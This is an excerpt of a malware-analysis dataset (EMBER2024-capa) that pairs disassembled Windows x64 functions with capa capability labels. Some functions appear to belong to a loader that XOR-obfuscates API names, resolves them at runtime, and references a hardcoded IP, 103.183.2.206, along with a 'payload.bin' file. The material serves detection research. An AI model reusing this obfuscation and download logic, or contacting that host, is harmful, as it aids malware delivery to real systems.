joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400a51db
Capabilities:
Get graphical window text

Disassembly:
jmp 0x1400b7590
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x4a8
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0xc2
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x4c8]
mov rax, qword [0x140248940]
xor rax, rbp
mov qword [rbp + 0x470], rax
lea rcx, [0x14026602e]
call fcn.1400a4e07
lea rax, [rbp + 0x10]
mov rdi, rax
xor eax, eax
mov ecx, 0x208
rep stosb byte [rdi], al
mov qword [rbp + 0x258], 0
mov qword [rbp + 0x278], 0
mov ecx, 0x48
call fcn.1400a0339
mov qword [rbp + 0x438], rax
cmp qword [rbp + 0x438], 0
je 0x1400b762f
mov rcx, qword [rbp + 0x438]
call fcn.1400a3b15
mov qword [rbp + 0x468], rax
jmp 0x1400b763a
mov qword [rbp + 0x468], 0
mov rax, qword [rbp + 0x468]
mov qword [rbp + 0x418], rax
mov rax, qword [rbp + 0x418]
mov qword [rbp + 0x238], rax
cmp qword [rbp + 0x238], 0
jne 0x1400b7689
mov rax, qword [rbp + 0x4a0]
add rax, 8
xor r9d, r9d
lea r8, [0x1401f5bf4]
lea rdx, [0x1401f7150]
mov rcx, rax
call fcn.1400a24cc
jmp 0x1400b77c8
mov r8d, 0x100
lea rdx, [rbp + 0x10]
mov rax, qword [rbp + 0x4a0]
mov rcx, qword [rax + 0xa8]
call qword [sym.imp.USER32.dll_GetWindowTextW]
lea rdx, [rbp + 0x10]
mov rcx, qword [rbp + 0x238]
call fcn.1400a0b5e
test eax, eax
jne 0x1400b76e4
mov rax, qword [rbp + 0x4a0]
add rax, 8
xor r9d, r9d
lea r8, [0x1401f5bf4]
lea rdx, [0x1401f7160]
mov rcx, rax
call fcn.1400a24cc
jmp 0x1400b77c8
mov rcx, qword [rbp + 0x238]
call fcn.1400a49d4
mov qword [rbp + 0x258], rax
cmp qword [rbp + 0x258], 0
jne 0x1400b7727
mov rax, qword [rbp + 0x4a0]
add rax, 8
xor r9d, r9d
lea r8, [0x1401f5bf4]
lea rdx, str.Xml
mov rcx, rax
call fcn.1400a24cc
jmp 0x1400b7771
lea rdx, str.Application
mov rcx, qword [rbp + 0x258]
call fcn.1400a36a6
mov qword [rbp + 0x278], rax
cmp qword [rbp + 0x278], 0
jne 0x1400b7771
mov rax, qword [rbp + 0x4a0]
add rax, 8
xor r9d, r9d
lea r8, [0x1401f5bf4]
lea rdx, str.Xml_
mov rcx, rax
call fcn.1400a24cc
jmp 0x1400b778b
mov r8, qword [rbp + 0x278]
mov rdx, 0xffffffffffff0000
mov rcx, qword [rbp + 0x4a0]
call fcn.1400a0b6d
mov rax, qword [rbp + 0x238]
mov qword [rbp + 0x458], rax
cmp qword [rbp + 0x458], 0
je 0x1400b77bd
mov edx, 1
mov rcx, qword [rbp + 0x458]
call fcn.1400a11e4
mov qword [rbp + 0x468], rax
jmp 0x1400b77c8
mov qword [rbp + 0x468], 0
lea rcx, [rbp - 0x20]
lea rdx, [0x1401f6460]
call fcn.1400a3fe8
mov rcx, qword [rbp + 0x470]
xor rcx, rbp
call fcn.1400a25bc
lea rsp, [rbp + 0x488]
pop rdi
pop rbp
ret
Function at 0x1401d5290
Capabilities:
Write file on windows

Disassembly:
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
push rsi
push rdi
mov eax, 0x1498
call fcn.1400a0dd9
sub rsp, rax
mov rax, qword [0x140248940]
xor rax, rsp
mov qword [rsp + 0x1480], rax
mov eax, dword [rsp + 0x14b8]
sar eax, 6
cdqe
lea rcx, [0x14024fa90]
mov edx, dword [rsp + 0x14b8]
and edx, 0x3f
movsxd rdx, edx
imul rdx, rdx, 0x48
mov rax, qword [rcx + rax*8]
mov rax, qword [rax + rdx + 0x28]
mov qword [rsp + 0x60], rax
mov eax, dword [rsp + 0x14c8]
mov rcx, qword [rsp + 0x14c0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x50], rax
lea rax, [rsp + 0x68]
mov rdi, rax
xor eax, eax
mov ecx, 0xc
rep stosb byte [rdi], al
mov rax, qword [rsp + 0x14c0]
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x50]
cmp qword [rsp + 0x48], rax
jae 0x1401d5482
lea rax, [rsp + 0x147f]
mov qword [rsp + 0x58], rax
lea rax, [rsp + 0x80]
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x58]
cmp qword [rsp + 0x38], rax
jae 0x1401d53d6
mov rax, qword [rsp + 0x50]
cmp qword [rsp + 0x48], rax
jae 0x1401d53d6
mov rax, qword [rsp + 0x48]
movzx eax, byte [rax]
mov byte [rsp + 0x31], al
mov rax, qword [rsp + 0x48]
inc rax
mov qword [rsp + 0x48], rax
movzx eax, byte [rsp + 0x31]
mov byte [rsp + 0x30], al
movsx eax, byte [rsp + 0x30]
cmp eax, 0xa
jne 0x1401d53bb
mov eax, dword [rsp + 0x70]
inc eax
mov dword [rsp + 0x70], eax
mov rax, qword [rsp + 0x38]
mov byte [rax], 0xd
mov rax, qword [rsp + 0x38]
inc rax
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x38]
movzx ecx, byte [rsp + 0x30]
mov byte [rax], cl
mov rax, qword [rsp + 0x38]
inc rax
mov qword [rsp + 0x38], rax
jmp 0x1401d5358
lea rax, [rsp + 0x80]
mov rcx, qword [rsp + 0x38]
sub rcx, rax
mov rax, rcx
mov dword [rsp + 0x40], eax
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x44]
mov r8d, dword [rsp + 0x40]
lea rdx, [rsp + 0x80]
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x1401d5442
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x68], eax
lea rax, [rsp + 0x68]
mov rdi, qword [rsp + 0x14b0]
mov rsi, rax
mov ecx, 0xc
rep movsb byte [rdi], byte [rsi]
mov rax, qword [rsp + 0x14b0]
jmp 0x1401d54a1
mov eax, dword [rsp + 0x44]
mov ecx, dword [rsp + 0x6c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6c], eax
mov eax, dword [rsp + 0x40]
cmp dword [rsp + 0x44], eax
jae 0x1401d547d
lea rax, [rsp + 0x68]
mov rdi, qword [rsp + 0x14b0]
mov rsi, rax
mov ecx, 0xc
rep movsb byte [rdi], byte [rsi]
mov rax, qword [rsp + 0x14b0]
jmp 0x1401d54a1
jmp 0x1401d532e
lea rax, [rsp + 0x68]
mov rdi, qword [rsp + 0x14b0]
mov rsi, rax
mov ecx, 0xc
rep movsb byte [rdi], byte [rsi]
mov rax, qword [rsp + 0x14b0]
mov rcx, qword [rsp + 0x1480]
xor rcx, rsp
call fcn.1400a25bc
add rsp, 0x1498
pop rdi
pop rsi
ret
Function at 0x1401d5550
Capabilities:
Write file on windows

Disassembly:
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
push rsi
push rdi
mov eax, 0x1498
call fcn.1400a0dd9
sub rsp, rax
mov rax, qword [0x140248940]
xor rax, rsp
mov qword [rsp + 0x1480], rax
mov eax, dword [rsp + 0x14b8]
sar eax, 6
cdqe
lea rcx, [0x14024fa90]
mov edx, dword [rsp + 0x14b8]
and edx, 0x3f
movsxd rdx, edx
imul rdx, rdx, 0x48
mov rax, qword [rcx + rax*8]
mov rax, qword [rax + rdx + 0x28]
mov qword [rsp + 0x68], rax
mov eax, dword [rsp + 0x14c8]
mov rcx, qword [rsp + 0x14c0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x58], rax
lea rax, [rsp + 0x70]
mov rdi, rax
xor eax, eax
mov ecx, 0xc
rep stosb byte [rdi], al
mov rax, qword [rsp + 0x14c0]
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x58]
cmp qword [rsp + 0x50], rax
jae 0x1401d575d
lea rax, [rsp + 0x147e]
mov qword [rsp + 0x60], rax
lea rax, [rsp + 0x80]
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x60]
cmp qword [rsp + 0x38], rax
jae 0x1401d56a9
mov rax, qword [rsp + 0x58]
cmp qword [rsp + 0x50], rax
jae 0x1401d56a9
mov rax, qword [rsp + 0x50]
movzx eax, word [rax]
mov word [rsp + 0x40], ax
mov rax, qword [rsp + 0x50]
add rax, 2
mov qword [rsp + 0x50], rax
movzx eax, word [rsp + 0x40]
mov word [rsp + 0x30], ax
movzx eax, word [rsp + 0x30]
cmp eax, 0xa
jne 0x1401d5689
mov eax, dword [rsp + 0x78]
add eax, 2
mov dword [rsp + 0x78], eax
mov eax, 0xd
mov rcx, qword [rsp + 0x38]
mov word [rcx], ax
mov rax, qword [rsp + 0x38]
add rax, 2
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x38]
movzx ecx, word [rsp + 0x30]
mov word [rax], cx
mov rax, qword [rsp + 0x38]
add rax, 2
mov qword [rsp + 0x38], rax
jmp 0x1401d5618
lea rax, [rsp + 0x80]
mov rcx, qword [rsp + 0x38]
sub rcx, rax
mov rax, rcx
sar rax, 1
mov eax, eax
shl rax, 1
mov dword [rsp + 0x44], eax
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x48]
mov r8d, dword [rsp + 0x44]
lea rdx, [rsp + 0x80]
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x1401d571d
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x70], eax
lea rax, [rsp + 0x70]
mov rdi, qword [rsp + 0x14b0]
mov rsi, rax
mov ecx, 0xc
rep movsb byte [rdi], byte [rsi]
mov rax, qword [rsp + 0x14b0]
jmp 0x1401d577c
mov eax, dword [rsp + 0x48]
mov ecx, dword [rsp + 0x74]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x74], eax
mov eax, dword [rsp + 0x44]
cmp dword [rsp + 0x48], eax
jae 0x1401d5758
lea rax, [rsp + 0x70]
mov rdi, qword [rsp + 0x14b0]
mov rsi, rax
mov ecx, 0xc
rep movsb byte [rdi], byte [rsi]
mov rax, qword [rsp + 0x14b0]
jmp 0x1401d577c
jmp 0x1401d55ee
lea rax, [rsp + 0x70]
mov rdi, qword [rsp + 0x14b0]
mov rsi, rax
mov ecx, 0xc
rep movsb byte [rdi], byte [rsi]
mov rax, qword [rsp + 0x14b0]
mov rcx, qword [rsp + 0x1480]
xor rcx, rsp
call fcn.1400a25bc
add rsp, 0x1498
pop rdi
pop rsi
ret
Function at 0x140001d40
Capabilities:
Write file on windows

Disassembly:
push rsi
sub rsp, 0x30
mov rsi, rcx
mov qword [rsp + 0x48], rdx
mov qword [rsp + 0x50], r8
mov qword [rsp + 0x58], r9
lea rax, [rsp + 0x48]
mov qword [rsp + 0x28], rax
mov ecx, 2
call fcn.140002290
lea rcx, str.Mingw_w64_runtime_failure:_n
mov edx, 0x1b
mov r8d, 1
mov r9, rax
call sub.msvcrt.dll_fwrite
mov ecx, 2
call fcn.140002290
mov r8, qword [rsp + 0x28]
mov rcx, rax
mov rdx, rsi
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
int3

Function at 0x1400023b0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rax, qword [0x14000b008]
movzx edx, word [rax]
cmp edx, 0x5a4d
jne 0x14000241c
movsxd rdx, dword [rax + 0x3c]
cmp dword [rax + rdx], 0x4550
jne 0x14000241c
add rax, rdx
movzx edx, word [rax + 0x18]
cmp edx, 0x20b
jne 0x14000241c
movzx edx, word [rax + 6]
test edx, edx
je 0x14000241c
sub rcx, qword [0x14000b008]
movzx r8d, word [rax + 0x14]
add rax, r8
add rax, 0x18
jmp 0x140002408
add rax, 0x28
dec edx
je 0x14000241c
mov r8d, dword [rax + 0xc]
cmp rcx, r8
jb 0x140002400
add r8d, dword [rax + 8]
cmp rcx, r8
jae 0x140002400
jmp 0x14000241e
xor eax, eax
ret

Function at 0x140002420
Capabilities:
Parse pe header

Disassembly:
mov rcx, qword [0x14000b008]
movzx edx, word [rcx]
xor eax, eax
cmp edx, 0x5a4d
jne 0x140002455
movsxd rdx, dword [rcx + 0x3c]
cmp dword [rcx + rdx], 0x4550
jne 0x140002455
movzx r8d, word [rcx + rdx + 0x18]
cmp r8d, 0x20b
jne 0x140002455
movzx eax, word [rcx + rdx + 6]
ret

Function at 0x1400024d0
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x14000b008]
movzx ecx, word [rax]
cmp ecx, 0x5a4d
jne 0x1400024fc
movsxd rcx, dword [rax + 0x3c]
cmp dword [rax + rcx], 0x4550
jne 0x1400024fc
movzx ecx, word [rax + rcx + 0x18]
cmp ecx, 0x20b
je 0x1400024fe
xor eax, eax
ret

Function at 0x100403a20
Capabilities:
Encode data using xor

Disassembly:
xor al, 0x6c
xor al, 0x64
xor al, 0x67
xor al, 0x41
xor al, 0x3e
xor al, 0x7d
xor al, 0xa2
xor al, 0x9a
xor al, 0xa3
xor al, 0x88
xor al, 0x9d
xor al, 0xa4
xor al, 0x71
xor al, 0x74
xor al, 0x59
xor al, 0x87
xchg dword [rbp*4 - 0x57cb58cc], esi
xor al, 0x99
xor al, 0xa1
xor al, 0x86
xor al, 0xa3
xor al, 0xa3
movabs dword [0xa73490345934a834], eax
xor al, 0xad
xor al, 0xa7
xor al, 0xa8
xor al, 0x99
cdq
xor al, 0xa1
xor al, 0x67
xor al, 0x66
xor al, 0x90
xor al, 0xa7
xor al, 0x9c
xor al, 0x99
xor al, 0xa0
xor al, 0xa0
xor al, 0x67
xor al, 0x66
xor al, 0x62
Function at 0x140001000
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
push rbp
mov rbp, rsp
sub rsp, 0x70
mov rax, qword [0x14000a008]
xor rax, rsp
mov qword [rbp - 8], rax
mov eax, 0x69
xor ebx, ebx
mov dword [rbp - 0x40], 0x607051f
lea ecx, [rax - 0x15]
mov word [rbp - 0x2c], ax
mov eax, 0x70
mov word [rbp - 0x22], ax
mov eax, 0x6e
mov word [rbp - 0x18], cx
mov dword [rbp - 0x3c], 0x3f24353c
mov dword [rbp - 0x38], 0x260649
mov dword [rbp - 0x30], 0x6c0048
mov word [rbp - 0xe], ax
mov dword [rbp - 0x2a], 0x48004e
mov dword [rbp - 0x26], 0x540041
mov dword [rbp - 0x20], 0x630039
mov word [rbp - 0x1c], bx
mov dword [rbp - 0x16], 0x6e0065
mov dword [rbp - 0x12], 0x650063
mov dword [rbp - 0xc], 0x74
mov ecx, ebx
lea rdx, [rbp - 0x40]
lea r8d, [rbx + 0xb]
cmp word [rbp + rcx*2 - 0x30], bx
cmove rcx, rbx
inc rdx
movzx eax, byte [rbp + rcx*2 - 0x30]
inc rcx
xor byte [rdx - 1], al
dec r8
jne 0x140001093
mov rcx, qword [0x14000c198]
lea rdx, [rbp - 0x40]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, [rbp - 0x18]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov dword [rsp + 0x20], ebx
call rax
mov rcx, qword [rbp - 8]
xor rcx, rsp
call fcn.140001980
mov rbx, qword [rsp + 0x80]
add rsp, 0x70
pop rbp
ret

Function at 0x1400010f0
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov rax, qword [0x14000a008]
xor rax, rsp
mov qword [rbp - 8], rax
mov rbx, qword [0x14000c1a0]
mov eax, 0x69
xor ecx, ecx
mov word [rbp - 0x20], ax
mov eax, 0x4a
mov dword [rbp - 0x30], 0x2f29233e
mov word [rbp - 0x1e], ax
mov eax, 0x47
mov dword [rbp - 0x2c], 0x1000445
mov word [rbp - 0x1c], ax
mov eax, 0x67
mov dword [rbp - 0x28], 0x2f070835
mov word [rbp - 0x1a], ax
mov eax, 0x31
mov word [rbp - 0x24], 0x1324
mov word [rbp - 0x18], ax
mov eax, 0x42
mov byte [rbp - 0x22], 0
mov word [rbp - 0x12], ax
mov eax, 0x5a
mov dword [rbp - 0x16], 0x700070
mov dword [rbp - 0xe], 0x66
mov edx, ecx
lea r8, [rbp - 0x30]
lea r9d, [rax - 0x4c]
mov word [rbp - 0x10], ax
nop word [rax + rax]
cmp word [rbp + rdx*2 - 0x20], cx
cmove rdx, rcx
inc r8
movzx eax, byte [rbp + rdx*2 - 0x20]
inc rdx
xor byte [r8 - 1], al
dec r9
jne 0x140001190
mov rcx, qword [0x14000c198]
lea rdx, [rbp - 0x30]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.103.183.2.206
mov r8d, 0x118
xor r9d, r9d
mov rcx, rbx
call rax
mov rcx, qword [rbp - 8]
xor rcx, rsp
call fcn.140001980
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
Function at 0x1400011f0
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rdi
push rbp
mov rbp, rsp
sub rsp, 0x80
mov rax, qword [0x14000a008]
xor rax, rsp
mov qword [rbp - 8], rax
mov rbx, qword [0x14000c1a8]
mov eax, 0x65
xor edi, edi
mov word [rbp - 0x20], ax
mov eax, 0x6d
mov dword [rbp - 0x40], 0x4230432
mov word [rbp - 0x1e], ax
mov eax, 0x4d
mov dword [rbp - 0x3c], 0x2040061c
mov word [rbp - 0x1c], ax
mov eax, 0x4c
mov dword [rbp - 0x38], 0x3f0b3447
mov word [rbp - 0x1a], ax
mov eax, 0x68
mov dword [rbp - 0x34], 0x171d3d28
mov word [rbp - 0x18], ax
mov eax, 0x72
mov word [rbp - 0x30], 0x1b43
mov word [rbp - 0x16], ax
mov eax, 0x30
mov byte [rbp - 0x2e], 0
mov word [rbp - 0x14], ax
mov eax, 0x6f
mov dword [rbp - 0xe], 0x51
mov word [rbp - 0x12], ax
mov eax, 0x37
mov dword [rbp - 0x24], 0x54
mov word [rbp - 0x10], ax
mov eax, 0x47
mov edx, edi
mov word [rbp - 0x28], ax
mov eax, 0x45
lea r8, [rbp - 0x40]
mov word [rbp - 0x26], ax
lea r9d, [rdi + 0x12]
nop dword [rax]
cmp word [rbp + rdx*2 - 0x20], di
cmove rdx, rdi
inc r8
movzx eax, byte [rbp + rdx*2 - 0x20]
inc rdx
xor byte [r8 - 1], al
dec r9
jne 0x1400012c0
mov rcx, qword [0x14000c198]
lea rdx, [rbp - 0x40]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [rsp + 0x30], edi
lea r8, str.payload.bin
lea rdx, [rbp - 0x28]
xor r9d, r9d
mov rcx, rbx
mov qword [rsp + 0x28], rdi
mov qword [rsp + 0x20], rdi
call rax
mov rcx, qword [rbp - 8]
xor rcx, rsp
call fcn.140001980
lea r11, [rsp + 0x80]
mov rbx, qword [r11 + 0x10]
mov rdi, qword [r11 + 0x18]
mov rsp, r11
pop rbp
ret

Function at 0x140001330
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rdi
push rbp
mov rbp, rsp
sub rsp, 0x80
mov rax, qword [0x14000a008]
xor rax, rsp
mov qword [rbp - 0x10], rax
mov rbx, qword [0x14000c1b0]
mov eax, 0x6f
xor edi, edi
mov word [rbp - 0x24], ax
mov eax, 0x50
mov dword [rbp - 0x40], 0x18010422
mov word [rbp - 0x22], ax
mov eax, 0x51
mov dword [rbp - 0x3c], 0x3b053b25
mov word [rbp - 0x20], ax
mov eax, 0x68
mov dword [rbp - 0x38], 0x3f110a1d
mov word [rbp - 0x1a], ax
mov eax, 0x78
mov dword [rbp - 0x34], 0x2a24210a
mov word [rbp - 0x30], 0x1c06
mov byte [rbp - 0x2e], 0
mov dword [rbp - 0x28], 0x6d0075
lea r9d, [rax - 0x66]
mov dword [rbp - 0x1e], 0x75004f
mov word [rbp - 0x18], ax
mov dword [rbp - 0x16], 0x64
mov edx, edi
lea r8, [rbp - 0x40]
nop
cmp word [rbp + rdx*2 - 0x28], di
cmove rdx, rdi
inc r8
movzx eax, byte [rbp + rdx*2 - 0x28]
inc rdx
xor byte [r8 - 1], al
dec r9
jne 0x1400013d0
mov rcx, qword [0x14000c198]
lea rdx, [rbp - 0x40]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x30], rdi
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, rbx
mov dword [rsp + 0x28], edi
mov dword [rsp + 0x20], edi
call rax
mov rcx, qword [rbp - 0x10]
xor rcx, rsp
call fcn.140001980
lea r11, [rsp + 0x80]
mov rbx, qword [r11 + 0x10]
mov rdi, qword [r11 + 0x18]
mov rsp, r11
pop rbp
ret
Function at 0x140001440
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
push rbp
mov rbp, rsp
sub rsp, 0x60
mov rax, qword [0x14000a008]
xor rax, rsp
mov qword [rbp - 0x10], rax
mov rbx, qword [0x14000c1b0]
mov eax, 0x56
xor ecx, ecx
mov word [rbp - 0x28], ax
mov eax, 0x47
mov dword [rbp - 0x40], 0x24032e01
mov word [rbp - 0x26], ax
mov eax, 0x6d
mov dword [rbp - 0x3c], 0x1d1e3941
mov word [rbp - 0x24], ax
mov eax, 0x6c
mov dword [rbp - 0x38], 0x2e332d0b
mov word [rbp - 0x22], ax
mov eax, 0x35
mov dword [rbp - 0x34], 0x2867091b
mov dword [rbp - 0x30], 0x20013f1d
mov word [rbp - 0x2c], 0x2225
mov byte [rbp - 0x2a], 0
lea r9d, [rax - 0x1f]
mov word [rbp - 0x20], ax
mov dword [rbp - 0x1e], 0x6e004d
mov dword [rbp - 0x1a], 0x6e004f
mov dword [rbp - 0x16], 0x4e
mov edx, ecx
lea r8, [rbp - 0x40]
nop dword [rax]
cmp word [rbp + rdx*2 - 0x28], cx
cmove rdx, rcx
inc r8
movzx eax, byte [rbp + rdx*2 - 0x28]
inc rdx
xor byte [r8 - 1], al
dec r9
jne 0x1400014e0
mov rcx, qword [0x14000c198]
lea rdx, [rbp - 0x40]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
xor edx, edx
mov rcx, rbx
call rax
mov rcx, qword [rbp - 0x10]
xor rcx, rsp
call fcn.140001980
mov rbx, qword [rsp + 0x70]
add rsp, 0x60
pop rbp
ret
Function at 0x140001530
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rdi
push rbp
lea rbp, [rsp - 0x57]
sub rsp, 0xc0
mov rax, qword [0x14000a008]
xor rax, rsp
mov qword [rbp + 0x47], rax
xor edi, edi
mov eax, 0x31
mov rbx, rcx
mov word [rbp + 0xb], ax
mov eax, 0x65
mov dword [rbp - 0x21], 0x1a2302
mov word [rbp + 0xd], ax
mov eax, 0x30
mov dword [rbp - 0x1d], 0x34413136
mov word [rbp + 0xf], ax
mov eax, 0x63
mov dword [rbp - 0x19], 0x33270845
mov word [rbp + 0x33], ax
mov eax, 0x72
mov dword [rbp - 0x15], 0x24362930
mov word [rbp + 0x35], ax
mov eax, 0x54
mov dword [rbp - 0x11], 0x4511370
mov word [rbp + 0x3b], ax
mov eax, 0x70
mov dword [rbp - 0xd], 0x24162b39
mov word [rbp + 0x3d], ax
mov eax, 0x4b
mov word [rbp - 9], 0x27
mov word [rbp + 0x17], ax
mov eax, 0x64
mov dword [rbp - 1], 0x4a0055
mov dword [rbp + 3], 0x480074
mov dword [rbp + 7], 0x450042
mov dword [rbp + 0x11], 0x6d
mov word [rbp + 0x25], ax
mov dword [rbp - 0x49], 0x3a0d3c12
mov dword [rbp - 0x45], 0x2224210e
mov dword [rbp - 0x41], 0x11211533
mov dword [rbp - 0x3d], 0x1b0602
mov dword [rbp + 0x2f], 0x550045
mov dword [rbp + 0x37], 0x55007a
mov dword [rbp + 0x3f], 0x740056
mov word [rbp + 0x43], di
mov dword [rbp - 0x39], 0x3c09261c
mov dword [rbp - 0x35], 0x27171239
mov dword [rbp - 0x31], 0x2a380804
mov dword [rbp - 0x2d], 0x223152f
mov word [rbp - 0x29], 0x10b
mov byte [rbp - 0x27], dil
mov dword [rbp + 0x19], 0x67004f
mov dword [rbp + 0x1d], 0x4d0074
mov dword [rbp + 0x21], 0x670066
mov dword [rbp + 0x27], 0x670068
mov word [rbp + 0x2b], di
mov ecx, edi
lea rdx, [rbp - 0x21]
lea r8d, [rdi + 0x19]
nop dword [rax]
cmp word [rbp + rcx*2 - 1], di
cmove rcx, rdi
inc rdx
movzx eax, byte [rbp + rcx*2 - 1]
inc rcx
xor byte [rdx - 1], al
dec r8
jne 0x140001680
mov rcx, qword [0x14000c198]
lea rdx, [rbp - 0x21]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rdi
lea rdx, [rbp - 0x49]
mov qword [rbx], rax
mov r8d, 0xf
nop dword [rax]
cmp word [rbp + rcx*2 + 0x2f], di
cmove rcx, rdi
inc rdx
movzx eax, byte [rbp + rcx*2 + 0x2f]
inc rcx
xor byte [rdx - 1], al
dec r8
jne 0x1400016c0
mov rcx, qword [0x14000c198]
lea rdx, [rbp - 0x49]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rdi
lea rdx, [rbp - 0x39]
mov qword [rbx + 8], rax
mov r8d, 0x12
nop
cmp word [rbp + rcx*2 + 0x17], di
cmove rcx, rdi
inc rdx
movzx eax, byte [rbp + rcx*2 + 0x17]
inc rcx
xor byte [rdx - 1], al
dec r8
jne 0x140001700
mov rcx, qword [0x14000c198]
lea rdx, [rbp - 0x39]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbx + 0x10], rax
mov rcx, qword [rbp + 0x47]
xor rcx, rsp
call fcn.140001980
lea r11, [rsp + 0xc0]
mov rbx, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov rsp, r11
pop rbp
ret

Function at 0x140001d00
Capabilities:
Terminate process

Disassembly:
xor r8d, r8d
xor edx, edx
jmp fcn.140001b70
Function at 0x140001fb7
Capabilities:
Terminate process

Disassembly:
cmp rcx, qword [0x14000a008]
jne 0x14000199a
rol rcx, 0x10
test cx, 0xffff
jne 0x140001996
repz ret
ror rcx, 0x10
jmp 0x140001f10
mov qword [rsp + 8], rcx
sub rsp, 0x88
lea rcx, [0x14000aff0]
call qword [sym.imp.KERNEL32.dll_RtlCaptureContext]
mov rax, qword [0x14000b0e8]
mov qword [rsp + 0x58], rax
xor r8d, r8d
lea rdx, [rsp + 0x60]
mov rcx, qword [rsp + 0x58]
call sub.KERNEL32.dll_RtlLookupFunctionEntry
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
je 0x140001f95
mov qword [rsp + 0x38], 0
lea rax, [rsp + 0x48]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x28], rax
lea rax, [0x14000aff0]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x50]
mov r8, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x60]
xor ecx, ecx
call sub.KERNEL32.dll_RtlVirtualUnwind
jmp 0x140001fb7
mov rax, qword [rsp + 0x88]
mov qword [0x14000b0e8], rax
lea rax, [rsp + 0x88]
add rax, 8
mov qword [0x14000b088], rax
mov rax, qword [0x14000b0e8]
mov qword [0x14000af60], rax
mov rax, qword [rsp + 0x90]
mov qword [0x14000b070], rax
mov dword [0x14000af50], 0xc0000409
mov dword [0x14000af54], 1
mov rax, qword [0x14000a008]
mov qword [rsp + 0x68], rax
mov rax, qword [0x14000a010]
mov qword [rsp + 0x70], rax
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
mov dword [0x14000afe8], eax
mov ecx, 1
call fcn.140003dc0
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
lea rcx, [0x140007248]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
cmp dword [0x14000afe8], 0
jne 0x14000203e
mov ecx, 1
call fcn.140003dc0
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x88
ret